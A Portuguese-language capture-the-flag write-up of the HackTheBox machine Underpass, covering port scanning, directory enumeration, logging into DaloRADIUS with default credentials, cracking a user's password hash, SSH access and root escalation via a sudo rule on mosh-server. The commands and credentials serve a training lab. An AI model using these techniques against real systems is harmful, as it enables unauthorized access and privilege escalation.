> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/underpass-hackthebox-writeup.md).

# Writeup do HackTheBox Underpass

Writeup da máquina Easy Linux Underpass do HackTheBox cobrindo enumeração UDP, credenciais padrão (DaloRADIUS), cracking de senha, escalada de privilégios via SUDO (mosh-server), com enumeração prática,

{% embed url="<https://app.hackthebox.com/machines/641>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração UDP
* Credenciais padrão (DaloRADIUS)
* Quebra de senhas
* Escalada de privilégios via SUDO (mosh-server)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c95ecbf78acd28e77cd883b1a671689ae1f0a8f0%2Fimage%20(2690).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-682bf9a380dddc1a16521369b9ced2160d02f6ec%2Fimage%20(2691).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### TCP

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.48 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a684285782e8d89239e15e4a15151d40a74c0ab2%2Fimage%20(2692).png?alt=media" alt=""><figcaption></figcaption></figure>

Varredura de versões das portas com Nmap:

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.48 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c123c9a69ea58a97a94b9c767c690fb02914347%2Fimage%20(2693).png?alt=media" alt=""><figcaption></figcaption></figure>

### UDP

**Varredura das portas UDP mais usadas:**

Realizamos uma varredura das 100 portas UDP mais comuns:

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.48 -oG allPortsUDP
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5cad737f8fba7849938f4c6b388d4838cb3881d%2Fimage%20(860).png?alt=media" alt=""><figcaption></figcaption></figure>

* Portas identificadas: **161, 1812, 1813**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb731254a0c11f612929d5f4ccad42f12d301bb9%2Fimage%20(862).png?alt=media" alt=""><figcaption></figcaption></figure>

**Varredura da versão do serviço UDP :**/ Alvejamos as portas identificadas para obter informações adicionais:

```bash
nmap -sUCV -p161,1812,1813 10.10.11.48 -oN targetedUDP
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-309771b1b8b6e382b647c8d627ece9ce81d8bc41%2Fimage%20(864).png?alt=media" alt=""><figcaption></figcaption></figure>

**Observação inicial :**

* O domínio **underpass.htb** é encontrado.
* Um CMS chamado **DaloRADIUS** é identificado.

## CMS - **DaloRADIUS**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30e7fdfcbf1bd8ec0d8f3c3f9aaed4b5735227f5%2Fimage%20(847).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Escanear diretórios com Gobuster:**/ Exploramos os diretórios do site:

```bash
gobuster dir -u http://underpass.htb/daloradius/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Resultado: um diretório chamado **`/app`** é encontrado.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c78de86955be34ccfa5738e011b78e69aaf06b7%2Fimage%20(848).png?alt=media" alt=""><figcaption></figcaption></figure>

**Listagem de subdiretórios:**<br>

Ao explorar **`/app`**, encontramos:

```bash
gobuster dir -u http://underpass.htb/daloradius/app/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31a0b3f5d856de5e2bb604b41166c12425c0a271%2Fimage%20(849).png?alt=media" alt=""><figcaption></figcaption></figure>

* Um **página de login para usuários**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33227f69d03125e8586f90289463e2fc616d6eae%2Fimage%20(850).png?alt=media" alt=""><figcaption></figcaption></figure>

* Um **página de login para operadores**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce844c191084f90dfbe8b96116acb1de5795c7f9%2Fimage%20(851).png?alt=media" alt=""><figcaption></figcaption></figure>

**Acesso com as credenciais padrão do DaloRADIUS:**/ Ao testar as credenciais padrão do RADIUS:

* **Nome de usuário:** `administrator`
* **Senha:** `radius`/ Essas credenciais funcionam no painel do operador.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb5dd082c53e572c3600f6f0b1f1ef5196c105d0%2Fimage%20(852).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Extração de informações sensíveis:**

No **Na seção de gerenciamento encontramos um** e um **nome de usuário** hash de senha **hash de senha**:

* **Usuário:** `svcMosh`
* **Hash :** `412DD4759978ACFCC81DEAB01B382403`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17943b3ea3ee5d8b9aab535b952213e76d246f9f%2Fimage%20(853).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Quebra do hash:**<br>

Usamos **CrackStation** para decifrar o hash:

{% embed url="<https://crackstation.net/>" %}

**Senha decifrada:** `underwaterfriends`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5cd586c9f4882caab506ba600732c24bfddac632%2Fimage%20(854).png?alt=media" alt=""><figcaption></figcaption></figure>

**Conexão SSH:**/ Com essas credenciais, acessamos a máquina via SSH:

```bash
ssh svcMosh@underpass.htb

underwaterfriends
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83c327525a82fb1d3f425b3ea7225ee6c496c786%2Fimage%20(855).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de Privilégios

### SUDO - Mosh-Server

Ao verificar as permissões com o `sudo -l` comando, descobrimos que o usuário **svcMosh** pode executar o **mosh-server** binário com privilégios de administrador sem fornecer uma senha

```bash
sudo -l
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3eac0287a2f977e791fcbf25147faeccd1239e31%2Fimage%20(856).png?alt=media" alt=""><figcaption></figcaption></figure>

> Como você tem a opção de executar **mosh-server** como root, você pode aproveitar isso para estabelecer uma conexão com **mosh** usando **sudo** para executar o servidor como administrador.

O comando a seguir executará **mosh-server** com privilégios de root, depois estabelecerá uma conexão com o **mosh** cliente:

```bash
mosh --server="sudo /usr/bin/mosh-server" localhost
```

Isso permitirá **mosh** conectar-se ao servidor **mosh-server** que está sendo executado como root em **localhost**. Usando esse método, você terá acesso privilegiado à máquina com direitos de administrador.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e0b52c064410341185cadca3dbc89602379310d%2Fimage%20(857).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cf263c13eecefd18fcea5b82d6a19d8b0ddd025%2Fimage%20(859).png?alt=media" alt="" width="547"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1c170714067e1e71a61f9a20224c7b8bfda7792%2Fimage%20(858).png?alt=media" alt="" width="522"><figcaption></figcaption></figure>


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